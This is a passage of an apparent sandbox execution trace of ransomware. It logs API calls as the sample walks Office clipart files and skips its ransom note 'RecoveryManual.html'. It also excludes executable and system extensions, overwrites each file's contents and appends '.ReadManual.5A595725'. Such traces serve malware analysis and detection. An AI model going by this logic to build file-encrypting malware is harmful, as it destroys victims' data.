lpString2="RecoveryManual.html") returned -1 [0262.705] StrStrIW (lpFirst="EN00006_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.705] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.705] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.705] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.705] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.705] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.705] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.705] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.705] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.705] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.705] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.705] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.705] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.705] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.705] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.705] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF" [0262.705] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF.ReadManual.5A595725" [0262.705] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF.ReadManual.5A595725") returned 87 [0262.705] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38337394290) returned 1 [0262.705] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00006_.wmf")) returned 0x20 [0262.706] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00006_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.706] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=13936) returned 1 [0262.706] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3670, lpName=0x0) returned 0x184 [0262.706] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.707] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.707] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.711] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.711] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3670) returned 0x2f0000 [0262.711] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.711] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38338019645) returned 1 [0262.711] CloseHandle (hObject=0x184) returned 1 [0262.712] SetSecurityInfo () returned 0x57 [0262.712] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.712] CloseHandle (hObject=0x194) returned 1 [0262.712] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57852200, ftCreationTime.dwHighDateTime=0x1bd4b33, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x57852200, ftLastWriteTime.dwHighDateTime=0x1bd4b33, nFileSizeHigh=0x0, nFileSizeLow=0x1b1a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EN00202_.WMF", cAlternateFileName="")) returned 1 [0262.712] lstrcpyW (in: lpString1=0x6ab90a, lpString2="EN00202_.WMF" | out: lpString1="EN00202_.WMF") returned="EN00202_.WMF" [0262.712] lstrcmpiW (lpString1="EN00202_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.713] StrStrIW (lpFirst="EN00202_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.713] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.713] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.713] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.713] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.713] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.713] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.713] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.713] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.713] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.713] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.713] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.713] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.713] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.713] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.713] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF" [0262.713] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF.ReadManual.5A595725" [0262.713] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF.ReadManual.5A595725") returned 87 [0262.713] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38338190413) returned 1 [0262.713] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00202_.wmf")) returned 0x20 [0262.714] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00202_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.714] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=6938) returned 1 [0262.714] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1b1a, lpName=0x0) returned 0x184 [0262.714] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.715] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.715] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.717] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.717] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1b1a) returned 0x2f0000 [0262.717] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.717] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38338604145) returned 1 [0262.717] CloseHandle (hObject=0x184) returned 1 [0262.717] SetSecurityInfo () returned 0x57 [0262.717] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.718] CloseHandle (hObject=0x194) returned 1 [0262.718] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7a68a00, ftCreationTime.dwHighDateTime=0x1bd4b29, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd7a68a00, ftLastWriteTime.dwHighDateTime=0x1bd4b29, nFileSizeHigh=0x0, nFileSizeLow=0x3044, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EN00222_.WMF", cAlternateFileName="")) returned 1 [0262.718] lstrcpyW (in: lpString1=0x6ab90a, lpString2="EN00222_.WMF" | out: lpString1="EN00222_.WMF") returned="EN00222_.WMF" [0262.718] lstrcmpiW (lpString1="EN00222_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.718] StrStrIW (lpFirst="EN00222_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.718] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.718] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.718] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.718] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.718] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.718] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.718] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.718] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.719] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.719] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.719] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.719] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.719] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.719] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.719] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF" [0262.719] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF.ReadManual.5A595725" [0262.719] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF.ReadManual.5A595725") returned 87 [0262.719] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38338760540) returned 1 [0262.719] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00222_.wmf")) returned 0x20 [0262.719] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00222_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.719] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=12356) returned 1 [0262.719] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3044, lpName=0x0) returned 0x184 [0262.719] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.720] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.720] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.722] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.722] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3044) returned 0x2f0000 [0262.722] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.722] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38339117160) returned 1 [0262.722] CloseHandle (hObject=0x184) returned 1 [0262.722] SetSecurityInfo () returned 0x57 [0262.723] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.723] CloseHandle (hObject=0x194) returned 1 [0262.723] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1dc9900, ftCreationTime.dwHighDateTime=0x1bd4b18, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc1dc9900, ftLastWriteTime.dwHighDateTime=0x1bd4b18, nFileSizeHigh=0x0, nFileSizeLow=0x1a7c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EN00242_.WMF", cAlternateFileName="")) returned 1 [0262.723] lstrcpyW (in: lpString1=0x6ab90a, lpString2="EN00242_.WMF" | out: lpString1="EN00242_.WMF") returned="EN00242_.WMF" [0262.724] lstrcmpiW (lpString1="EN00242_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.724] StrStrIW (lpFirst="EN00242_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.724] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.724] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.724] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.724] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.724] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.724] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.724] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.724] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.724] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.724] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.724] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.724] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.724] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.724] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.724] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF" [0262.724] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF.ReadManual.5A595725" [0262.724] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF.ReadManual.5A595725") returned 87 [0262.724] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38339287654) returned 1 [0262.724] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00242_.wmf")) returned 0x20 [0262.725] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00242_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.726] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=6780) returned 1 [0262.726] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1a7c, lpName=0x0) returned 0x184 [0262.726] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.727] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.727] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.729] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.729] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1a7c) returned 0x2f0000 [0262.729] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.729] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38339798509) returned 1 [0262.729] CloseHandle (hObject=0x184) returned 1 [0262.729] SetSecurityInfo () returned 0x57 [0262.729] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.729] CloseHandle (hObject=0x194) returned 1 [0262.730] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7ec7300, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb7ec7300, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x8e8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EN00319_.WMF", cAlternateFileName="")) returned 1 [0262.730] lstrcpyW (in: lpString1=0x6ab90a, lpString2="EN00319_.WMF" | out: lpString1="EN00319_.WMF") returned="EN00319_.WMF" [0262.730] lstrcmpiW (lpString1="EN00319_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.730] StrStrIW (lpFirst="EN00319_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.730] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.730] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.730] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.730] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.730] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.731] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.731] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.731] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.731] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.731] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.731] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.731] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.731] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.731] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.731] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF" [0262.731] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF.ReadManual.5A595725" [0262.731] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF.ReadManual.5A595725") returned 87 [0262.731] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38339967333) returned 1 [0262.731] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00319_.wmf")) returned 0x20 [0262.731] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00319_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.731] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2280) returned 1 [0262.731] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8e8, lpName=0x0) returned 0x184 [0262.732] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.732] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.732] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.734] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.734] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8e8) returned 0x2f0000 [0262.734] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.734] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38340312792) returned 1 [0262.734] CloseHandle (hObject=0x184) returned 1 [0262.734] SetSecurityInfo () returned 0x57 [0262.735] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.735] CloseHandle (hObject=0x194) returned 1 [0262.735] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24bc3900, ftCreationTime.dwHighDateTime=0x1bd4af5, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x24bc3900, ftLastWriteTime.dwHighDateTime=0x1bd4af5, nFileSizeHigh=0x0, nFileSizeLow=0x2e0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EN00320_.WMF", cAlternateFileName="")) returned 1 [0262.735] lstrcpyW (in: lpString1=0x6ab90a, lpString2="EN00320_.WMF" | out: lpString1="EN00320_.WMF") returned="EN00320_.WMF" [0262.735] lstrcmpiW (lpString1="EN00320_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.735] StrStrIW (lpFirst="EN00320_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.735] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.735] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.735] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.735] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.736] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.736] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.736] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.736] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.736] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.736] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.736] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.736] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.736] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.736] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.736] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF" [0262.736] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft 